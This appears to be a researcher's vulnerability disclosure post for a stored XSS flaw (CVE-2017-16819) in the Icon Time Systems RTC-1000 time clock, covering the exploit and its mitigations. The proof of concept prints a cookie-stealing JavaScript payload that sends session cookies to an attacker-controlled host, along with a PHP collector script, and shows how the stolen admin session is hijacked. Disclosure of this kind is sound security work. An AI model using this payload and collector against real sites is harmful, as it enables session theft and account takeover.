This post details my findings while conducting vulnerability research on an Icon Time Systems RTC-1000 Universal Time Clock (firmware v2.5.7458 and below) including how I found the vulnerability, how I exploited it, and a few remediation and mitigation techniques. This vulnerability has been assigned CVE-2017-16819 by MITRE.
The Icon Time Systems RTC-1000 Universal Time Clock is a highly popular employee time clock with installations around the globe including medical, retail, restaurants, and manufacturing facilities. Sold in many places including office retailers like Staples and Quill, this networked time clock has a wide variety of features including web portal user and administration access, the use of proximity badges, and interfacing to many external payroll services and accounting packages. More about the device can be found here.
The Icon Time Systems RTC-1000 (firmware v2.5.7458 and below) Universal Time Clock device is susceptible to a Stored Cross Site Scripting (XSS) vulnerability that facilitates session hijacking, including the ability to takeover the admin user, resulting in elevated privileges. As a non-admin user with limited rights, injecting a session hijacking XSS payload into the ‘First Name’ field of an employee record on the employee.html webpage allowed me to gain admin access to the time clock following admin login via session hijacking. This allows the attacker to then modify employee hours, have access to all personnel information, indeed full control over the time clock's functionality. After injection, wherever this employee's first name appears in subsequent webpages, it will trigger the XSS attack. For those new to XSS attacks and vulnerabilities, more information and reading can be found in the Resources section below. Caveat: To exploit this vulnerability, the attacker does need valid credentials to access the device and those credentials must have permissions to change employee names.
Proof of Concept
Using nmap, a quick scan of the device indicated that TCP ports 80, 443, and 514 were open as well as revealing a Mbedthis-Appweb webserver running on TCP port 80 that issued cookies without the HttpOnly flag set:
Logging in using previously obtained credentials and attempting to access higher level areas of the web application such as the Settings->Preferences fails to do so:
This hypothetical user, as part of their job function, does however have access to modify employee records, adding hours to employee time cards, etc. Finding an inactive employee for test purposes, Employee ID 889, I insert a standard very vanilla test XSS payload into the 'First Name' textbox of this employee record and set the employee to 'Active' so it shows up in the default employee list screen:
Testing for XSS injection in the ‘First Name’ field using the following payload:
After submitting the changes, the web application returned me to the default employeelist.html webpage displaying active employees and presented me with an alert box showing the XSS attack had indeed been successful revealing session cookies:
Final XSS Injection payload inserted into the ‘First Name’ textbox:
var i=new Image(); i.src="http://10.11.2.130/c.php?q="+document.cookie;
c.php webpage hosted on attacker controlled website that collects session cookies and stores them in a file on the attacker controlled site:
<?php $cookie = $_SERVER['QUERY_STRING']; $logfile=fopen("cookies.txt", "a+"); fputs($logfile, "COOKIE REC: $cookie" . PHP_EOL); fclose($logfile); ?>
With the payload injected into the ‘First Name’ textbox, the screen is returned to the default employeelist.html webpage and as we see, there is no hint that in the background cookie collection is happening and being stored in my self-served cookie collector:
Now all an attacker has to do is wait for the admin user or other elevated privilege users to login and view the employee list, or anywhere else within the web application that displays employee first names, to assume their session:
Using this session cookie, the attacker then edit's their existing user's session cookie to become that of another user, in this case the admin user, the highest privileged user this web application offers:
The attack is successful and the attacker now has become the admin user via session hijacking as a result of the XSS injection vulnerability and is able to access Settings->Preferences webpage:
It is important to note that while my primary focus here was to hijack the admin user’s session and effectively take that session over, this XSS injection vulnerability could just as well have been used to re-direct a victim to a login page mimicking corporate email portal, inject information into backend and downstream systems that processes payroll data, etc. It is up to each organization using this product to determine the overall risk and impact this vulnerability may cause directly. The possibilities for abuse are only limited by the attacker’s imagination.
Suggested Mitigation and Remediation
The following is recommended to mitigate and remediate this vulnerability according to Open Web Application Security Project (OWASP) recommendations:
- Escape all character input of the textbox: First Name, input ID: nameFirst on the employee.html webpage, preferably using a mature and tested library or method.
- Perform input validation and sanitization on the textbox: First Name, input ID: nameFirst (and all areas of input within the web application where applicable) on the employee.html webpage, again using a mature and tested library or method.
- Enable HttpOnly cookie flags in all response headers. Although most modern browsers support this, not all do as it isn't a hard standard. Those that don't will ignore it if found. Lastly, HttpOnly cookie flags can be defeated depending on various factors by using XMLHTTPRequest. Joe Rozner did a good job talking about this in his DEFCON 25 Talk, Wiping out CSRF (slides for the video are here):
- On pages that displays user input data, perform output encoding.
- Implement a Web Application Firewall (WAF) within the HTTP server service to protect against this vulnerability as well as many others.
CVE-2017-16819 is the first vulnerability that I have discovered "in the wild" with devices like this. Not an overly exciting XSS but I did find the (40) character limit interesting to workaround. Hopefully you found this post useful in not only illustrating how XSS vulnerabilities can be located and utilized, but also show you that thinking outside of the box is absolutely critical for penetration testing. Most people would pass by this time clock on the wall and never give it any thought as to what security implications it might have on their infrastructure. A pentester, however, sees anything that takes input and stores or processes data as a possible vector for attack.
Cross-Site Scripting (XSS)
Common Weakness Enumeration (CWE) XSS Classification and Information
OWASP XSS Classification and Information
OWASP XSS Prevention Cheat Sheet
OWASP Enabling HttpOnly Session Cookies
Your API-Centric Web App Is Probably Not Safe Against XSS and CSRF
09/08/2017 - Vulnerability discovered.
09/15/2017 - Vendor informed.
09/19/2017 - Vendor informed.
09/19/2017 - Vendor acknowledged and indicated patch development underway.
10/24/2017 - Emailed vendor for update. No response.
11/17/2017 - Public Disclosure